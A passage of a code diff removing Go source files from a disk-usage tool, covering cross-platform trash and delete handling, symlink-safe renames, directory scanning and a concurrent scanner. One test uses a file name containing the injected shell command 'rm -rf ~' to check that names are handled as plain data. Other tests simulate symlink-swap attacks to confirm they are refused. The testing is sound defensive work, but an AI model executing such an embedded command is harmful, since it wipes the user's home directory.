// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
// It never copies across filesystems and never deletes.
func Trash(path string, want Expect) error {
if err := checkAbs(path); err != nil {
return err
}
st, err := os.Lstat(path)
if err != nil {
return err
}
dev := st.Sys().(*syscall.Stat_t).Dev
dataHome := os.Getenv("XDG_DATA_HOME")
if dataHome == "" {
home, err := os.UserHomeDir()
if err != nil {
return err
}
dataHome = filepath.Join(home, ".local", "share")
}
home := filepath.Join(dataHome, "Trash")
var trash, infoPath string
if hs, err := os.Stat(dataHome); err == nil && hs.Sys().(*syscall.Stat_t).Dev == dev {
trash, infoPath = home, path
} else {
top := mountTop(path, dev)
trash = filepath.Join(top, ".Trash-"+strconv.Itoa(os.Getuid()))
rel, err := filepath.Rel(top, path)
if err != nil {
return err
}
infoPath = rel
}
files, info := filepath.Join(trash, "files"), filepath.Join(trash, "info")
if trash == home {
if err := os.MkdirAll(trash, 0o700); err != nil {
return err
}
} else if err := ensurePrivateDir(trash, true); err != nil {
// On a shared filesystem another user could plant a symlink or a
// world-writable directory here; refuse rather than follow it.
return fmt.Errorf("trash directory %s is unsafe: %w", trash, err)
}
for _, d := range []string{files, info} {
if err := ensurePrivateDir(d, trash != home); err != nil {
return fmt.Errorf("trash directory %s is unsafe: %w", d, err)
}
}
base := filepath.Base(path)
for i := 1; i < 10000; i++ {
name := base
if i > 1 {
name = fmt.Sprintf("%s.%d", base, i)
}
dst := filepath.Join(files, name)
if _, err := os.Lstat(dst); err == nil {
continue // never overwrite an earlier trashed item (even without .trashinfo)
}
ip := filepath.Join(info, name+".trashinfo")
f, err := os.OpenFile(ip, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
if errors.Is(err, os.ErrExist) {
continue
}
if err != nil {
return err
}
u := (&url.URL{Path: infoPath}).EscapedPath()
_, werr := fmt.Fprintf(f, "[Trash Info]\nPath=%s\nDeletionDate=%s\n", u, time.Now().Format("2006-01-02T15:04:05"))
cerr := f.Close()
if werr != nil || cerr != nil {
os.Remove(ip)
return errors.Join(werr, cerr)
}
if err := renameChecked(path, dst, want); err != nil {
os.Remove(ip)
return err
}
return nil
}
return errors.New("trash: too many items with the same name")
}
// mountTop returns the top directory of the filesystem containing path.
func mountTop(path string, dev uint64) string {
cur := filepath.Dir(path)
for {
parent := filepath.Dir(cur)
if parent == cur {
return cur
}
st, err := os.Stat(parent)
if err != nil || st.Sys().(*syscall.Stat_t).Dev != dev {
return cur
}
cur = parent
}
}
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
-155
View File
@@ -1,155 +0,0 @@
package platform
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestTrashFreedesktop(t *testing.T) {
data := t.TempDir()
t.Setenv("XDG_DATA_HOME", data)
dir := filepath.Join(data, "work")
os.Mkdir(dir, 0o755)
victim := filepath.Join(dir, "weird name ;rm -rf ~;")
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
if err := Trash(victim, want(t, victim)); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(victim); !os.IsNotExist(err) {
t.Fatal("file still present")
}
trashed := filepath.Join(data, "Trash", "files", "weird name ;rm -rf ~;")
if _, err := os.Lstat(trashed); err != nil {
t.Fatalf("not in trash: %v", err)
}
info, err := os.ReadFile(filepath.Join(data, "Trash", "info", "weird name ;rm -rf ~;.trashinfo"))
if err != nil || !strings.Contains(string(info), "Path="+strings.ReplaceAll(dir, " ", "%20")) {
t.Fatalf("bad trashinfo: %q %v", info, err)
}
// A second item with the same name gets a distinct trash name.
os.WriteFile(victim, []byte("y"), 0o644)
if err := Trash(victim, want(t, victim)); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(trashed + ".2"); err != nil {
t.Fatal("collision not handled")
}
if err := Trash("relative/path", Expect{}); err == nil {
t.Fatal("relative paths must be refused")
}
}
func TestEnsurePrivateDirRejectsSymlink(t *testing.T) {
base := t.TempDir()
target := filepath.Join(base, "attacker")
os.Mkdir(target, 0o700)
link := filepath.Join(base, ".Trash-1000")
os.Symlink(target, link)
if err := ensurePrivateDir(link, false); err == nil {
t.Fatal("symlinked trash dir accepted")
}
open := filepath.Join(base, "open")
os.Mkdir(open, 0o777)
os.Chmod(open, 0o777)
if err := ensurePrivateDir(open, true); err == nil {
t.Fatal("world-accessible trash dir accepted")
}
if err := ensurePrivateDir(filepath.Join(base, "fresh"), true); err != nil {
t.Fatal(err)
}
}
func want(t *testing.T, path string) Expect {
t.Helper()
m, err := Lstat(path)
if err != nil {
t.Fatal(err)
}
return Expect{UID: m.UID, Mode: m.Mode}
}
// A parent swapped for a symlink after the scan must not redirect the move
// to whatever the symlink points at.
func TestTrashRefusesSwappedItem(t *testing.T) {
data := t.TempDir()
t.Setenv("XDG_DATA_HOME", data)
dir := filepath.Join(data, "work")
os.Mkdir(dir, 0o755)
victim := filepath.Join(dir, "big.iso")
os.WriteFile(victim, []byte("x"), 0o644)
scanned := want(t, victim)
// Item replaced by a symlink to a file elsewhere: type differs.
other := filepath.Join(data, "precious")
os.WriteFile(other, []byte("keep"), 0o644)
os.Remove(victim)
os.Symlink(other, victim)
scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir}
if err := Trash(victim, scanned); err == nil {
t.Fatal("symlink accepted where a regular file was scanned")
}
if err := Trash(victim, scannedDir); err == nil {
t.Fatal("type mismatch accepted")
}
if _, err := os.Lstat(victim); err != nil {
t.Fatal("refused item was moved")
}
// Owner differs from the scan.
os.Remove(victim)
os.WriteFile(victim, []byte("x"), 0o644)
if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil {
t.Fatal("owner mismatch accepted")
}
entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info"))
if len(entries) != 0 {
t.Fatalf("refused trash left %d .trashinfo files", len(entries))
}
if err := Trash(victim, scanned); err != nil {
t.Fatal(err)
}
}
func TestDeletePermanently(t *testing.T) {
base := t.TempDir()
dir := filepath.Join(base, "S01")
os.MkdirAll(filepath.Join(dir, "extras"), 0o755)
os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644)
// A symlink inside must be removed, not followed.
keep := filepath.Join(base, "keep")
os.WriteFile(keep, []byte("k"), 0o644)
os.Symlink(keep, filepath.Join(dir, "link"))
w := want(t, dir)
if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil {
t.Fatal("type mismatch accepted")
}
if err := Delete(dir, w); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(dir); !os.IsNotExist(err) {
t.Fatal("directory still present")
}
if _, err := os.Lstat(keep); err != nil {
t.Fatal("symlink target was deleted")
}
if err := Delete("relative/path", Expect{}); err == nil {
t.Fatal("relative paths must be refused")
}
}
func TestHeadless(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
if !Headless() {
t.Fatal("no display should be headless")
}
t.Setenv("WAYLAND_DISPLAY", "wayland-0")
if Headless() {
t.Fatal("wayland session reported headless")
}
}
-24
View File
@@ -1,24 +0,0 @@
//go:build !linux && !darwin && !windows
package platform
import (
"errors"
"os"
)
// TrashName is the user-facing name of the trash.
const TrashName = "trash"
// Reveal is unsupported on this platform.
func Reveal(string) error { return errors.New("not supported on this platform") }
// Trash is unsupported on this platform.
func Trash(string, Expect) error { return errors.New("trash not supported on this platform") }
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
-78
View File
@@ -1,78 +0,0 @@
package platform
import (
"errors"
"strconv"
"syscall"
"unsafe"
)
// TrashName is the user-facing name of the trash.
const TrashName = "Recycle Bin"
// Reveal selects the item in Explorer.
func Reveal(path string) error {
if err := checkAbs(path); err != nil {
return err
}
return startDetached("explorer.exe", "/select,", path)
}
var (
shell32 = syscall.NewLazyDLL("shell32.dll")
procSHFileOpertn = shell32.NewProc("SHFileOperationW")
)
// shFileOpStruct mirrors SHFILEOPSTRUCTW (64-bit natural alignment).
type shFileOpStruct struct {
hwnd uintptr
wFunc uint32
pFrom *uint16
pTo *uint16
fFlags uint16
fAnyOperationsAborted int32
hNameMappings uintptr
lpszProgressTitle *uint16
}
const (
foDelete = 0x3
fofSilent = 0x4
fofNoConfirmation = 0x10
fofAllowUndo = 0x40
fofNoErrorUI = 0x400
fofNoConfirmMkdir = 0x200
)
// Trash moves path to the Recycle Bin via SHFileOperationW with
// FOF_ALLOWUNDO. It never deletes permanently. want is not checked here:
// Windows exposes no owner or inode identity through the scan.
func Trash(path string, _ Expect) error {
if err := checkAbs(path); err != nil {
return err
}
if unsafe.Sizeof(uintptr(0)) != 8 {
return errors.New("recycle bin support requires a 64-bit build")
}
u, err := syscall.UTF16FromString(path)
if err != nil {
return err
}
u = append(u, 0) // double NUL terminated list
op := shFileOpStruct{wFunc: foDelete, pFrom: &u[0],
fFlags: fofAllowUndo | fofNoConfirmation | fofSilent | fofNoErrorUI | fofNoConfirmMkdir}
r, _, _ := procSHFileOpertn.Call(uintptr(unsafe.Pointer(&op)))
if r != 0 {
return errors.New("SHFileOperation failed: code " + strconv.Itoa(int(r)))
}
if op.fAnyOperationsAborted != 0 {
return errors.New("operation aborted")
}
return nil
}
// Headless is always false: Windows always has Explorer and the Recycle Bin.
func Headless() bool { return false }
// Delete is not offered on Windows; items go to the Recycle Bin.
func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") }
-151
View File
@@ -1,151 +0,0 @@
// Package platform hides OS-specific filesystem metadata behind a small
// common API. Files are split by build tag; nothing else in the program
// switches on GOOS.
package platform
import (
"errors"
"io"
"io/fs"
"os"
"os/user"
"strconv"
"sync"
)
// Meta is the metadata of one directory entry.
type Meta struct {
Name string
Mode fs.FileMode
Size int64
Alloc int64
AllocKnown bool
MTime int64 // unix nanoseconds
BTime int64 // birth time, 0 if unknown
UID, GID uint32
Nlink uint32
Dev, Ino uint64
HasIno bool // Dev/Ino are meaningful
Err error // stat failed; only Name is valid
}
// ChunkFunc receives successive batches of entries. The slice is owned by
// the callee. Returning an error stops the read.
type ChunkFunc func([]Meta) error
// Lstat returns metadata for path without following a final symlink.
func Lstat(path string) (Meta, error) { return statPath(path, false) }
// Stat returns metadata for path, following symlinks.
func Stat(path string) (Meta, error) { return statPath(path, true) }
var (
nameMu sync.Mutex
userNames = map[uint32]string{}
groupNames = map[uint32]string{}
)
// UserName resolves a uid to a name (cached; falls back to the number).
func UserName(uid uint32) string {
return lookupName(userNames, uid, func(s string) (string, error) {
u, err := user.LookupId(s)
if err != nil {
return "", err
}
return u.Username, nil
})
}
// GroupName resolves a gid to a name (cached; falls back to the number).
func GroupName(gid uint32) string {
return lookupName(groupNames, gid, func(s string) (string, error) {
g, err := user.LookupGroupId(s)
if err != nil {
return "", err
}
return g.Name, nil
})
}
func lookupName(cache map[uint32]string, id uint32, look func(string) (string, error)) string {
nameMu.Lock()
defer nameMu.Unlock()
if n, ok := cache[id]; ok {
return n
}
s := strconv.FormatUint(uint64(id), 10)
if n, err := look(s); err == nil {
s = n
}
cache[id] = s
return s
}
// fromFileInfo fills the portable fields of Meta.
func fromFileInfo(fi fs.FileInfo) Meta {
return Meta{
Name: fi.Name(),
Mode: fi.Mode(),
Size: fi.Size(),
Alloc: fi.Size(),
MTime: fi.ModTime().UnixNano(),
Nlink: 1,
}
}
// readDirGeneric is the portable fallback: os.ReadDir in chunks plus Lstat
// per entry by path.
func readDirGeneric(path string, chunk int, fn ChunkFunc, stat func(string) (Meta, error)) error {
f, err := os.Open(path)
if err != nil {
return err
}
defer f.Close()
for {
des, err := f.ReadDir(chunk)
if len(des) > 0 {
out := make([]Meta, len(des))
for i, de := range des {
m, serr := stat(joinPath(path, de.Name()))
if serr != nil {
m = Meta{Err: serr}
}
m.Name = de.Name()
out[i] = m
}
if ferr := fn(out); ferr != nil {
return ferr
}
}
if err != nil {
if errors.Is(err, io.EOF) {
return nil
}
return err
}
}
}
func joinPath(dir, name string) string {
if len(dir) > 0 && os.IsPathSeparator(dir[len(dir)-1]) {
return dir + name
}
return dir + string(os.PathSeparator) + name
}
// JoinPath joins a directory and an entry name without cleaning.
func JoinPath(dir, name string) string { return joinPath(dir, name) }
func baseName(path string) string {
i := len(path) - 1
for i > 0 && os.IsPathSeparator(path[i]) {
i--
}
path = path[:i+1]
for j := len(path) - 1; j >= 0; j-- {
if os.IsPathSeparator(path[j]) {
return path[j+1:]
}
}
return path
}
-82
View File
@@ -1,82 +0,0 @@
//go:build darwin || freebsd
package platform
import (
"errors"
"io"
"os"
"golang.org/x/sys/unix"
)
// ReadDir streams the entries of a directory in chunks, stat-ing each entry
// relative to the directory fd.
func ReadDir(path string, chunk int, fn ChunkFunc) error {
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return &os.PathError{Op: "open", Path: path, Err: err}
}
f := os.NewFile(uintptr(fd), path)
defer f.Close()
for {
des, err := f.ReadDir(chunk)
if len(des) > 0 {
out := make([]Meta, len(des))
for i, de := range des {
var st unix.Stat_t
if serr := unix.Fstatat(fd, de.Name(), &st, unix.AT_SYMLINK_NOFOLLOW); serr != nil {
out[i] = Meta{Name: de.Name(), Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}}
continue
}
out[i] = fromStat(&st)
out[i].Name = de.Name()
}
if ferr := fn(out); ferr != nil {
return ferr
}
}
if err != nil {
if errors.Is(err, io.EOF) {
return nil
}
return err
}
}
}
func fromStat(st *unix.Stat_t) Meta {
return Meta{
Mode: modeFromUnix(uint32(st.Mode)),
Size: st.Size,
Alloc: st.Blocks * 512,
AllocKnown: true,
MTime: st.Mtim.Nano(),
BTime: st.Btim.Nano(),
UID: st.Uid,
GID: st.Gid,
Nlink: uint32(st.Nlink),
Dev: uint64(st.Dev),
Ino: uint64(st.Ino),
HasIno: true,
}
}
func statPath(path string, follow bool) (Meta, error) {
var st unix.Stat_t
var err error
if follow {
err = unix.Stat(path, &st)
} else {
err = unix.Lstat(path, &st)
}
if err != nil {
return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err}
}
m := fromStat(&st)
m.Name = baseName(path)
return m, nil
}
// IsVirtualFS is Linux-specific; elsewhere nothing is skipped.
func IsVirtualFS(string) bool { return false }
-138
View File
@@ -1,138 +0,0 @@
package platform
import (
"errors"
"io"
"os"
"sync/atomic"
"golang.org/x/sys/unix"
)
// noStatx is set if the kernel lacks statx (pre-4.11); we fall back to fstatat.
var noStatx atomic.Bool
const statxMask = unix.STATX_BASIC_STATS | unix.STATX_BTIME
// ReadDir streams the entries of a directory in chunks, stat-ing each entry
// relative to the directory fd (no repeated path resolution).
func ReadDir(path string, chunk int, fn ChunkFunc) error {
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return &os.PathError{Op: "open", Path: path, Err: err}
}
f := os.NewFile(uintptr(fd), path)
defer f.Close()
for {
des, err := f.ReadDir(chunk)
if len(des) > 0 {
out := make([]Meta, len(des))
for i, de := range des {
m, serr := statAt(fd, de.Name(), unix.AT_SYMLINK_NOFOLLOW)
if serr != nil {
m = Meta{Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}}
}
m.Name = de.Name()
out[i] = m
}
if ferr := fn(out); ferr != nil {
return ferr
}
}
if err != nil {
if errors.Is(err, io.EOF) {
return nil
}
return err
}
}
}
func statAt(dirfd int, name string, flags int) (Meta, error) {
if !noStatx.Load() {
var st unix.Statx_t
err := unix.Statx(dirfd, name, flags|unix.AT_STATX_DONT_SYNC, statxMask, &st)
if err == nil {
return fromStatx(&st), nil
}
if !errors.Is(err, unix.ENOSYS) {
return Meta{}, err
}
noStatx.Store(true)
}
var st unix.Stat_t
if err := unix.Fstatat(dirfd, name, &st, flags); err != nil {
return Meta{}, err
}
return Meta{
Mode: modeFromUnix(st.Mode), Size: st.Size, Alloc: st.Blocks * 512, AllocKnown: true,
MTime: st.Mtim.Nano(), UID: st.Uid, GID: st.Gid, Nlink: uint32(st.Nlink),
Dev: st.Dev, Ino: st.Ino, HasIno: true,
}, nil
}
func fromStatx(st *unix.Statx_t) Meta {
m := Meta{
Mode: modeFromUnix(uint32(st.Mode)),
Size: int64(st.Size),
Alloc: int64(st.Blocks) * 512,
AllocKnown: true,
MTime: st.Mtime.Sec*1e9 + int64(st.Mtime.Nsec),
UID: st.Uid,
GID: st.Gid,
Nlink: st.Nlink,
Dev: unix.Mkdev(st.Dev_major, st.Dev_minor),
Ino: st.Ino,
HasIno: true,
}
if st.Mask&unix.STATX_BTIME != 0 {
m.BTime = st.Btime.Sec*1e9 + int64(st.Btime.Nsec)
}
return m
}
func statPath(path string, follow bool) (Meta, error) {
flags := unix.AT_SYMLINK_NOFOLLOW
if follow {
flags = 0
}
m, err := statAt(unix.AT_FDCWD, path, flags)
if err != nil {
return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err}
}
m.Name = baseName(path)
return m, nil
}
// Linux pseudo-filesystems whose contents are not disk usage.
var virtualFS = map[int64]bool{
0x9fa0: true, // proc
0x62656572: true, // sysfs
0x1cd1: true, // devpts
0x27e0eb: true, // cgroup
0x63677270: true, // cgroup2
0x64626720: true, // debugfs
0x74726163: true, // tracefs
0x73636673: true, // securityfs
0x6165676c: true, // pstore
0xcafe4a11: true, // bpf
0x62656570: true, // configfs
0x65735543: true, // fusectl
0x19800202: true, // mqueue
0xde5e81e4: true, // efivarfs
0x42494e4d: true, // binfmt_misc
0xf97cff8c: true, // selinuxfs
0x958458f6: true, // hugetlbfs
0x6e736673: true, // nsfs
0x50495045: true, // pipefs
}
// IsVirtualFS reports whether path is the root of a pseudo filesystem
// (proc, sysfs, cgroup, …) that should not be scanned as disk usage.
func IsVirtualFS(path string) bool {
var st unix.Statfs_t
if err := unix.Statfs(path, &st); err != nil {
return false
}
return virtualFS[int64(st.Type)]
}
-31
View File
@@ -1,31 +0,0 @@
//go:build !linux && !darwin && !freebsd
package platform
import "os"
// ReadDir streams the entries of a directory using the portable os API.
// Allocated size, inode identity and link counts are not available here.
func ReadDir(path string, chunk int, fn ChunkFunc) error {
return readDirGeneric(path, chunk, fn, func(p string) (Meta, error) { return statPath(p, false) })
}
func statPath(path string, follow bool) (Meta, error) {
var fi os.FileInfo
var err error
if follow {
fi, err = os.Stat(path)
} else {
fi, err = os.Lstat(path)
}
if err != nil {
return Meta{}, err
}
m := fromFileInfo(fi)
m.Name = baseName(path)
fillSys(&m, fi)
return m, nil
}
// IsVirtualFS is Linux-specific; elsewhere nothing is skipped.
func IsVirtualFS(string) bool { return false }
-7
View File
@@ -1,7 +0,0 @@
//go:build !windows && !linux && !darwin && !freebsd
package platform
import "os"
func fillSys(*Meta, os.FileInfo) {}
-12
View File
@@ -1,12 +0,0 @@
package platform
import (
"os"
"syscall"
)
func fillSys(m *Meta, fi os.FileInfo) {
if d, ok := fi.Sys().(*syscall.Win32FileAttributeData); ok {
m.BTime = d.CreationTime.Nanoseconds()
}
}
-59
View File
@@ -1,59 +0,0 @@
//go:build linux || darwin
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
"golang.org/x/sys/unix"
)
// renameChecked moves path to dst if it still matches want. The parent
// directory is opened once and both the check and the rename are relative to
// that descriptor, so a parent swapped for a symlink since the scan (or
// between check and rename) cannot redirect the move to another user's file.
func renameChecked(path, dst string, want Expect) error {
dir, base := filepath.Dir(path), filepath.Base(path)
dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return &os.PathError{Op: "open", Path: dir, Err: err}
}
defer unix.Close(dfd)
var st unix.Stat_t
if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil {
return &os.PathError{Op: "stat", Path: path, Err: err}
}
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
}
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
// be a real directory (not a symlink) owned by us. With strict (trash on a
// shared filesystem) it must also be inaccessible to others, as the
// freedesktop.org spec requires; home trash directories made by desktop
// environments are sometimes 0755, which is harmless there.
func ensurePrivateDir(dir string, strict bool) error {
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
return err
}
fi, err := os.Lstat(dir)
if err != nil {
return err
}
st := fi.Sys().(*syscall.Stat_t)
switch {
case !fi.IsDir():
return errors.New("not a directory (symlink?)")
case int(st.Uid) != os.Getuid():
return errors.New("owned by another user")
case strict && fi.Mode().Perm()&0o077 != 0:
return errors.New("accessible to other users")
}
return nil
}
-35
View File
@@ -1,35 +0,0 @@
package scan
import (
"context"
"os"
"runtime"
"testing"
"time"
)
// TestMemoryPerNode reports heap use per inventory node for a real tree.
// Set MAPSIZE_MEM_ROOT to a directory to run it.
func TestMemoryPerNode(t *testing.T) {
root := os.Getenv("MAPSIZE_MEM_ROOT")
if root == "" {
t.Skip("set MAPSIZE_MEM_ROOT")
}
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
start := time.Now()
s, err := Start(context.Background(), root, Options{})
if err != nil {
t.Fatal(err)
}
<-s.Done()
el := time.Since(start)
runtime.GC()
runtime.ReadMemStats(&after)
n := s.Tree.Len()
heap := after.HeapAlloc - before.HeapAlloc
t.Logf("nodes=%d scan=%s heap=%.1f MiB (%.0f bytes/node)", n, el.Round(time.Millisecond),
float64(heap)/(1<<20), float64(heap)/float64(n))
runtime.KeepAlive(s)
}
-14
View File
@@ -1,14 +0,0 @@
package scan
import "runtime/debug"
// OnPanic is called if a scanner goroutine panics. The default re-panics
// (crashing the process); the TUI replaces it so it can restore the terminal
// before reporting. Programmer bugs are never silently swallowed.
var OnPanic = func(v any, stack []byte) { panic(v) }
func guard() {
if v := recover(); v != nil {
OnPanic(v, debug.Stack())
}
}
-542
View File
@@ -1,542 +0,0 @@
// Package scan implements the bounded concurrent filesystem scanner.
//
// Architecture (see ARCHITECTURE.md): a single controller goroutine owns the
// inventory.Tree and a FIFO of pending directories. A fixed pool of workers
// performs directory I/O and sends result chunks back. The controller's
// select loop offers jobs and accepts results at the same time, so bounded
// channels can never deadlock: workers never enqueue work themselves.
package scan
import (
"context"
"errors"
"fmt"
"log/slog"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
)
// FollowMode controls symlink traversal.
type FollowMode int
const (
FollowNone FollowMode = iota
FollowSameFS
FollowAll
)
func (f FollowMode) String() string {
return [...]string{"none", "same-filesystem", "all"}[f]
}
// ParseFollow parses a --follow-symlinks value.
func ParseFollow(s string) (FollowMode, error) {
switch s {
case "none", "":
return FollowNone, nil
case "same-filesystem", "same-fs":
return FollowSameFS, nil
case "all":
return FollowAll, nil
}
return 0, fmt.Errorf("invalid --follow-symlinks %q (want none, same-filesystem or all)", s)
}
// Workers resolves a concurrency mode name or number to a worker count.
func Workers(mode string) (int, error) {
cpu := runtime.NumCPU()
switch mode {
case "conservative":
return 2, nil
case "balanced", "":
return min(8, max(2, 2*cpu)), nil
case "aggressive":
return min(64, max(4, 8*cpu)), nil
}
var n int
if _, err := fmt.Sscan(mode, &n); err != nil || n < 1 || n > 1024 {
return 0, fmt.Errorf("invalid workers %q (conservative, balanced, aggressive or 1-1024)", mode)
}
return n, nil
}
// Options configures a scan.
type Options struct {
Workers int
Follow FollowMode
OneFileSystem bool
Excludes []string
// Tuning knobs, mostly for tests. Zero means default.
ChunkSize int // entries per result chunk
JobBuffer int // capacity of the job channel
ResultBuf int // capacity of the result channel
ApplyBatch int // max results applied per write-lock hold
}
func (o *Options) defaults() {
if o.Workers <= 0 {
o.Workers, _ = Workers("balanced")
}
if o.ChunkSize <= 0 {
o.ChunkSize = 1024
}
if o.JobBuffer <= 0 {
o.JobBuffer = o.Workers * 2
}
if o.ResultBuf <= 0 {
o.ResultBuf = o.Workers * 4
}
if o.ApplyBatch <= 0 {
o.ApplyBatch = 64
}
}
// Progress is a cheap, lock-free view of scan activity.
type Progress struct {
Entries int64
Pending int64 // directories discovered but not yet dispatched
Inflight int64 // directories being read
Workers int
}
// Scanner runs one scan. Tree is safe to read under Tree.RLock while the
// scan runs.
type Scanner struct {
Tree *inventory.Tree
opts Options
entries, pending, inflight atomic.Int64
done chan struct{}
}
type job struct {
id inventory.NodeID
path string
dev uint64
// hints derived once per directory
inCache, inLog bool
}
type result struct {
job *job
entries []platform.Meta
final bool
err error
}
type inodeKey struct{ dev, ino uint64 }
// Start stats root, creates the tree and begins scanning in the background.
func Start(ctx context.Context, root string, opts Options) (*Scanner, error) {
opts.defaults()
// Path-style exclusions are matched against absolute paths.
excl := make([]string, len(opts.Excludes))
for i, p := range opts.Excludes {
excl[i] = p
if strings.ContainsAny(p, `/\`) {
if a, err := filepath.Abs(p); err == nil {
excl[i] = a
}
}
}
opts.Excludes = excl
abs, err := filepath.Abs(root)
if err != nil {
return nil, err
}
m, err := platform.Stat(abs)
if err != nil {
return nil, err
}
kind := kindOf(m)
t := inventory.New(abs, kind)
t.Stats.Workers = opts.Workers
t.Stats.Excludes = opts.Excludes
t.Stats.OneFileSystem = opts.OneFileSystem
t.Stats.Follow = opts.Follow.String()
r := t.Node(t.Root())
setMeta(r, m)
r.TotSize, r.TotAlloc = m.Size, m.Alloc
s := &Scanner{Tree: t, opts: opts, done: make(chan struct{})}
if kind != inventory.KindDir {
t.Stats.Files = 1
t.Stats.Complete = true
t.Stats.End = time.Now()
close(s.done)
return s, nil
}
t.Stats.Dirs = 1
c := &controller{s: s, t: t, opts: opts, links: map[inodeKey]struct{}{}}
// Loop detection needs inode identity; without it (Windows and other
// portable-fallback platforms) symlinks are not followed at all.
if opts.Follow != FollowNone && !m.HasIno {
c.opts.Follow = FollowNone
t.Stats.Follow = "none (no inode identity on this platform)"
}
if c.opts.Follow != FollowNone {
c.visited = map[inodeKey]struct{}{{m.Dev, m.Ino}: {}}
}
c.rootDev = m.Dev
c.pending = []pendingDir{{id: t.Root(), dev: m.Dev}}
s.pending.Store(1)
go c.run(ctx)
return s, nil
}
// Done is closed when the scan has finished or been cancelled and drained.
func (s *Scanner) Done() <-chan struct{} { return s.done }
// Progress returns live counters without locking the tree.
func (s *Scanner) Progress() Progress {
return Progress{Entries: s.entries.Load(), Pending: s.pending.Load(), Inflight: s.inflight.Load(), Workers: s.opts.Workers}
}
// maxEntriesPerLock bounds how long the controller holds the write lock, so
// the UI's read lock is never starved for more than a few milliseconds.
const maxEntriesPerLock = 8192
type pendingDir struct {
id inventory.NodeID
dev uint64
}
type controller struct {
s *Scanner
t *inventory.Tree
opts Options
rootDev uint64
pending []pendingDir // FIFO; head index advances, compacted occasionally
head int
links map[inodeKey]struct{}
visited map[inodeKey]struct{} // only when following symlinks
}
func (c *controller) run(ctx context.Context) {
defer guard()
defer close(c.s.done)
jobs := make(chan *job, c.opts.JobBuffer)
results := make(chan result, c.opts.ResultBuf)
var wg sync.WaitGroup
for range c.opts.Workers {
wg.Add(1)
go func() {
defer wg.Done()
defer guard()
worker(ctx, jobs, results, c.opts.ChunkSize)
}()
}
inflight := 0
ctxDone := ctx.Done()
cancelled := false
var next *job
batch := make([]result, 0, c.opts.ApplyBatch)
for {
if next == nil && !cancelled && c.head < len(c.pending) {
next = c.makeJob(c.pending[c.head])
}
if inflight == 0 && next == nil {
break
}
var jobCh chan<- *job
if next != nil {
jobCh = jobs
}
select {
case jobCh <- next:
next = nil
c.head++
if c.head > 4096 && c.head*2 > len(c.pending) {
c.pending = append(c.pending[:0], c.pending[c.head:]...)
c.head = 0
}
inflight++
c.s.inflight.Store(int64(inflight))
c.s.pending.Store(int64(len(c.pending) - c.head))
case r := <-results:
batch = append(batch[:0], r)
n := len(r.entries)
drain:
for len(batch) < cap(batch) && n < maxEntriesPerLock {
select {
case r := <-results:
batch = append(batch, r)
n += len(r.entries)
default:
break drain
}
}
c.t.Lock()
for i := range batch {
if c.apply(&batch[i]) {
inflight--
}
batch[i] = result{}
}
c.t.Unlock()
c.s.inflight.Store(int64(inflight))
c.s.pending.Store(int64(len(c.pending) - c.head))
case <-ctxDone:
cancelled = true
ctxDone = nil
next = nil
}
}
close(jobs)
wg.Wait()
c.t.Lock()
st := &c.t.Stats
if cancelled {
st.Cancelled = true
st.Unscanned += int64(len(c.pending) - c.head)
for _, p := range c.pending[c.head:] {
c.t.Node(p.id).Flags |= inventory.FlagIncomplete
}
}
st.Complete = true
st.End = time.Now()
c.t.Unlock()
c.s.pending.Store(0)
c.s.inflight.Store(0)
}
func (c *controller) makeJob(p pendingDir) *job {
path := c.t.Path(p.id)
j := &job{id: p.id, path: path, dev: p.dev}
j.inCache, j.inLog = inventory.PathHints(path)
return j
}
func worker(ctx context.Context, jobs <-chan *job, results chan<- result, chunk int) {
for j := range jobs {
var err error
if err = ctx.Err(); err == nil {
err = platform.ReadDir(j.path, chunk, func(ms []platform.Meta) error {
if err := ctx.Err(); err != nil {
return err
}
results <- result{job: j, entries: ms}
return nil
})
}
results <- result{job: j, final: true, err: err}
}
}
func kindOf(m platform.Meta) inventory.Kind {
switch {
case m.Mode.IsDir():
return inventory.KindDir
case m.Mode.IsRegular():
return inventory.KindFile
